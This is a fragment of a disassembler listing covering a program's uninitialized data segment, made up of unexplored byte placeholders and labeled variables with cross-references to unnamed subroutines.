		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_41E214	db ? ; unexplored	; DATA XREF: sub_403390+4Bo
					; sub_405144+3Bo ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E3E0	dd ?			; DATA XREF: sub_404030+22r
					; sub_404074+26r ...
dword_41E3E4	dd ?			; DATA XREF: sub_404110+34r
					; sub_405880+77w
dword_41E3E8	dd ?			; DATA XREF: CODE:004040D8r
					; sub_405880+81w
word_41E3EC	dw ?			; DATA XREF: sub_405818+46o
					; sub_405880+48w
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
word_41E3FC	dw ?			; DATA XREF: sub_405818+3Co
					; sub_405880+51w
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
word_41E40C	dw ?			; DATA XREF: sub_405818+32o
					; sub_405880+5Aw
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E414	dd ?			; DATA XREF: sub_405880+63w
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E41C	dd ?			; DATA XREF: sub_401B6Cw
					; sub_401EE4+92w ...
dword_41E420	dd ?			; DATA XREF: sub_401B6C+16w
					; sub_401EE4+9Bw ...
dword_41E424	dd ?			; DATA XREF: sub_405818+11w
					; sub_405880+11w
byte_41E428	db ?			; DATA XREF: sub_401904+8Ew
					; CODE:004019C1r ...
		align 4
dword_41E42C	dd ?			; DATA XREF: sub_4014F8+6Dw
					; sub_401644+63w ...
unk_41E430	db ? ; unexplored	; DATA XREF: sub_401904+11o
					; sub_401904+24o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E448	dd ?			; DATA XREF: sub_401278+23r
					; sub_401278+2Aw ...
dword_41E44C	dd ?			; DATA XREF: sub_401278+2o
					; sub_401300+Ar ...
dword_41E450	dd ?			; DATA XREF: sub_40141C+3Eo
					; sub_401480+51o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_41E460	db ? ; unexplored	; DATA XREF: sub_4016C4+Bo
					; sub_401754+Eo ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_41E470	db ? ; unexplored	; DATA XREF: sub_401904+7Fo
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E474	dd ?			; DATA XREF: sub_401EE4+10r
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E47C	dd ?			; DATA XREF: sub_401904+89w
					; sub_401AA8+1r ...
dword_41E480	dd ?			; DATA XREF: sub_401D80r sub_401D80+9r ...
dword_41E484	dd ?			; DATA XREF: sub_401D80+26r
					; sub_401D80+2Er ...
dword_41E488	dd ?			; DATA XREF: sub_401904+58w
					; sub_401904+5Dr ...
dword_41E48C	dd ?			; DATA XREF: sub_401904+42o
					; sub_4019C8+81o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_41E49C	db ? ; unexplored	; DATA XREF: sub_4031E0+6o sub_40335Co ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E4A0	dd ?			; DATA XREF: sub_403198+17w
					; sub_4031B8+2r
dword_41E4A4	dd ?			; DATA XREF: sub_403240+6r sub_4032A0w
dword_41E4A8	dd ?			; DATA XREF: sub_403240+2Cw
					; sub_4032A0+8w
dword_41E4AC	dd ?			; DATA XREF: sub_4032A0+Ew
dword_41E4B0	dd ?			; DATA XREF: sub_40335C+Br
dword_41E4B4	dd ?			; DATA XREF: sub_40335C+5r
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
byte_41E4C8	db ?			; DATA XREF: sub_4059F0r
byte_41E4C9	db ?			; DATA XREF: sub_40B2D4+2Er
		align 4
dword_41E4CC	dd ?			; DATA XREF: sub_4059A0+Ar
					; sub_4059A0+3Cr ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E4D4	dd ?			; DATA XREF: sub_405A34+11r
					; sub_405A80+Ew ...
dword_41E4D8	dd ?			; DATA XREF: sub_405AB4+11w
					; CODE:00405AE4w
dword_41E4DC	dd ?			; DATA XREF: sub_4059A0+47w
					; sub_4059F0+31r
dword_41E4E0	dd ?			; DATA XREF: sub_405EBC+11w
					; CODE:00405EECw
dword_41E4E4	dd ?			; DATA XREF: sub_40618C+11w
					; CODE:004061BCw
dword_41E4E8	dd ?			; DATA XREF: sub_40A020+52o
					; sub_40AB48+1r ...
byte_41E4EC	db ?			; DATA XREF: sub_40A020+7Bw
					; CODE:0040AAF3r
byte_41E4ED	db ?			; DATA XREF: sub_40A020+9Fw
					; CODE:0040AB04r
byte_41E4EE	db ?			; DATA XREF: sub_40A020+B2w
					; sub_40AA90+38r ...
byte_41E4EF	db ?			; DATA XREF: sub_40A020+C5w
					; CODE:0040A9D7r ...
byte_41E4F0	db ?			; DATA XREF: CODE:00407AACr
					; sub_40A020+E9w
byte_41E4F1	db ?			; DATA XREF: sub_4084A8+689o
					; sub_40A020+FCw
		align 4
dword_41E4F4	dd ?			; DATA XREF: sub_4084A8+2D2r
					; sub_4084A8+632r ...
dword_41E4F8	dd ?			; DATA XREF: sub_4084A8+2E6r
					; sub_40A020+151o ...
byte_41E4FC	db ?			; DATA XREF: sub_4084A8+69Fo
					; sub_40A020+169w
		align 4
dword_41E500	dd ?			; DATA XREF: sub_4084A8+55Fr
					; sub_40A020+186o ...
dword_41E504	dd ?			; DATA XREF: sub_4084A8+570r
					; sub_40A020+1A8o ...
dword_41E508	dd ?			; DATA XREF: sub_4084A8+465r
					; sub_40A020+271o ...
dword_41E50C	dd ?			; DATA XREF: sub_4084A8+223r
					; sub_4084A8+479r ...
unk_41E510	db ? ; unexplored	; DATA XREF: sub_408D9C+29o
					; sub_40B194+B9o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E53C	dd ?			; DATA XREF: sub_4084A8+23Dr
unk_41E540	db ? ; unexplored	; DATA XREF: sub_408D9C+2Eo
					; sub_40B194+A4o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E56C	dd ?			; DATA XREF: sub_4084A8+298r
					; sub_4084A8+5FAr
unk_41E570	db ? ; unexplored	; DATA XREF: sub_408D9C+8Ao
					; sub_40B194+8Fo ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E588	dd ?			; DATA XREF: sub_4084A8+2BCr
					; sub_4084A8+5B6r
unk_41E58C	db ? ; unexplored	; DATA XREF: sub_408D9C+8Fo
					; sub_40B194+7Ao
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_41E5A8	db ? ; unexplored	; DATA XREF: sub_409F68+10o
					; DATA:0041DC84o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
word_41E5AC	dw ?			; DATA XREF: sub_408234+A4r
					; sub_409024+5Br
word_41E5AE	dw ?			; DATA XREF: sub_408234+D3r
dword_41E5B0	dd ?			; DATA XREF: sub_408EC0+14r
					; sub_408EC0+1Eo ...
unk_41E5B4	db ? ; unexplored	; DATA XREF: sub_40B194+65o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E5CC	dd ?			; DATA XREF: sub_408EFC+24r
					; sub_408EFC+43w
unk_41E5D0	db ? ; unexplored	; DATA XREF: sub_408F74+5Do
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
byte_41E5EC	db ?			; DATA XREF: sub_40A020+2ABw
		align 4
dword_41E5F0	dd ?			; DATA XREF: sub_40B194+11w
					; sub_40B2D4+11w
dword_41E5F4	dd ?			; DATA XREF: sub_409688+13r
					; sub_409B0C+31w ...
dword_41E5F8	dd ?			; DATA XREF: sub_409688+1Ar
					; sub_409B0C+52w ...
unk_41E5FC	db ? ; unexplored	; DATA XREF: sub_40B194+1Do
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E600	dd ?			; DATA XREF: sub_40B354+11w
					; CODE:0040B384w
dword_41E604	dd ?			; DATA XREF: sub_40B38C+11w
					; CODE:0040B3BCw
dword_41E608	dd ?			; DATA XREF: sub_40B474+11w
					; CODE:0040B4A4w
dword_41E60C	dd ?			; DATA XREF: sub_40B4D8+11w
					; CODE:0040B528w
dword_41E610	dd ?			; DATA XREF: sub_40E3D0+27r
					; sub_40E3D0+79r ...
dword_41E614	dd ?			; DATA XREF: sub_40E3D0+11w
					; CODE:0040E48Ao
dword_41E618	dd ?			; DATA XREF: sub_40BEA8+Br
					; sub_40BEA8+ADr ...
dword_41E61C	dd ?			; DATA XREF: sub_40BEA8+5Br
					; sub_40BEA8+75r ...
dword_41E620	dd ?			; DATA XREF: sub_40C000+1Br
					; sub_40E35C+6r ...
dword_41E624	dd ?			; DATA XREF: sub_40DC7C+Fr
					; sub_40DC7C+1Cr ...
unk_41E628	db ? ; unexplored	; DATA XREF: sub_40E3D0+94o
					; CODE:0040E492o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E640	dd ?			; DATA XREF: sub_40E340r sub_40E340+9r ...
dword_41E644	dd ?			; DATA XREF: sub_40E514+11w
					; CODE:0040E55Cw
dword_41E648	dd ?			; DATA XREF: sub_40EB0C+11w
					; CODE:0040EB54w
dword_41E64C	dd ?			; DATA XREF: sub_40EB64+11w
					; CODE:0040EB94w
dword_41E650	dd ?			; DATA XREF: sub_40F348+11w
					; CODE:0040F378w
dword_41E654	dd ?			; DATA XREF: sub_40F654+11w
					; CODE:0040F684w
dword_41E658	dd ?			; DATA XREF: sub_40F754+11w
					; CODE:0040F784w
dword_41E65C	dd ?			; DATA XREF: sub_410E58+11w
					; CODE:00410E88w
dword_41E660	dd ?			; DATA XREF: sub_410EB4+11w
					; CODE:00410EE4w
dword_41E664	dd ?			; DATA XREF: sub_4115E0+11w
					; CODE:0041163Cw
dword_41E668	dd ?			; DATA XREF: sub_41243C+11w
					; CODE:00412484w
dword_41E66C	dd ?			; DATA XREF: sub_412C80+11w
					; CODE:00412CB0w
dword_41E670	dd ?			; DATA XREF: sub_413368+11w
					; CODE:00413398w
dword_41E674	dd ?			; DATA XREF: sub_415C9C+72r
dword_41E678	dd ?			; DATA XREF: sub_415C9C+11w
					; CODE:00415D72o
		dd ?
dword_41E680	dd ?			; DATA XREF: sub_414194+1Cr
					; CODE:00415D9Eo
dword_41E684	dd ?			; DATA XREF: sub_414194+28r
					; CODE:00415DAAo
dword_41E688	dd ?			; DATA XREF: sub_414194+37r
					; sub_415A94+14r ...
dword_41E68C	dd ?			; DATA XREF: sub_415764+3Cr
					; sub_4157DC+47r ...
unk_41E690	db ? ; unexplored	; DATA XREF: sub_415C9C+7Do
					; CODE:00415D83o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_41E6A8	db ? ; unexplored	; DATA XREF: sub_414078+3o
					; sub_414078+10o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_41E6C0	dd ?			; DATA XREF: sub_413D40+35r
					; sub_413D40+156r ...
dword_41E6C4	dd ?			; DATA XREF: sub_413EF0+15r
					; sub_413EF0+7Br ...
dword_41E6C8	dd ?			; DATA XREF: sub_413F90+19r
					; sub_413F90+C2r ...
dword_41E6CC	dd ?			; DATA XREF: sub_415C9C+4Ar
					; CODE:00415E3Dw
